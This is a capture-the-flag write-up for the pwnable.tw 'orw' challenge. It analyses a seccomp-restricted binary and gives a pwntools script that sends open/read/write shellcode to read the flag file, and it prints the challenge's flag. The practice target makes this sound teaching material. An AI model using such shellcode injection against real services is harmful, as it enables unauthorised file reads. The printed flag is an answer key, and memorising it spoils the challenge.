pwnable.tw - orw Writeup
Challenge description
Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.
nc chall.pwnable.tw 10001
I don’t know why Microsoft Defender suggests it’s a virus, lol.
Let’s do it on Kali :)
Inspection
file
┌──(kali㉿kali)-[~/Desktop]
└─$ file orw
orw: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
It is a 32-bit x86 ELF binary.
checksec
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=orw
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX disabled No PIE No RPATH No RUNPATH 74 Symbols No 0 2 orw
Both NX and PIE are disabled.
seccomp-tools
┌──(kali㉿kali)-[~/Desktop]
└─$ seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
As stated in the challenge description, only the open, read, and write syscalls are allowed.
Decompile
Decompiling the binary with Ghidra gives the following code:
undefined4 main(void)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0,shellcode,200);
(*(code *)shellcode)();
return 0;
}
It simply asks for shellcode and execute it directly. Therefore, all we need to do is construct a valid shellcode.
Solving
We will invoke the open, read, and write syscalls in sequence to print the flag.
Referring to https://x86.syscall.sh, we can see the required arguments the registers used to pass them. You can write the shellcode manually, but I will use pwntools’ built-in function, shellcraft, to keep the task simple. The exploit should be easy to understand:
exploit.pyfrom pwn import * context.arch = "i386" context.os = "linux" io = remote("chall.pwnable.tw", 10001) sc = asm( shellcraft.open(b'/home/orw/flag') + shellcraft.read('eax', 'esp', '0x50') + shellcraft.write('1', 'esp', '0x50') ) io.sendafter(b'Give my your shellcode:', sc) info(f"The flag is: {io.recvuntil(b'}').decode()}") io.close()
We use the return value (stored in $eax) as the first argument to the read function. This value is the file descriptor of the flag file that we just opened.
We pass 1 to the write function because file descriptor 1 corresponds to stdout.
Run the script and get the flag!
Flag: FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}







